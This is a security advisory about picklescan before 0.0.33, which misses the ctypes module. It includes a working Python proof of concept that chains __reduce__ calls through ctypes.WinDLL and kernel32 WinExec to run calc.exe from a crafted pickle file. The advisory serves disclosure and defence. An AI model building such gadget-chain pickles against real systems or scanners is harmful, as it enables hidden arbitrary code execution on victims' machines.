Affected: picklescan

picklescan before 0.0.33 fails to block the ctypes module, allowing attackers to achieve remote code execution by invoking direct syscalls and accessing raw memory. Attackers can craft malicious pickle files using ctypes.WinDLL to load kernel32.dll and execute arbitrary commands, bypassing sandbox protections and gadget chain detection.

Affected: PyPI: picklescan

### Summary Picklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to * Load DLLs * Call C functions directly * Manipulate memory raw pointers.

This can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory.

This is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected

### PoC ```python import pickle import ctypes import operator

class Kernel32Loader: def __reduce__(self): #we go direct to the kerneeellllllll return (ctypes.WinDLL, ("kernel32.dll",))

class WinExecGetter: def __reduce__(self): return (operator.itemgetter("WinExec"), (Kernel32Loader(),))

class PopCalc: def __reduce__(self): #methodcaller to invoke "__call__" on the function pointer. return ( operator.methodcaller("__call__", b"calc.exe", 1), (WinExecGetter(),) )

try: payload = pickle.dumps(PopCalc()) with open("calc_exploit.pkl", "wb") as f: f.write(payload) print("Generated 'calc_exploit.pkl'")

except Exception as e: print(f"Generation failed: {e}") ```…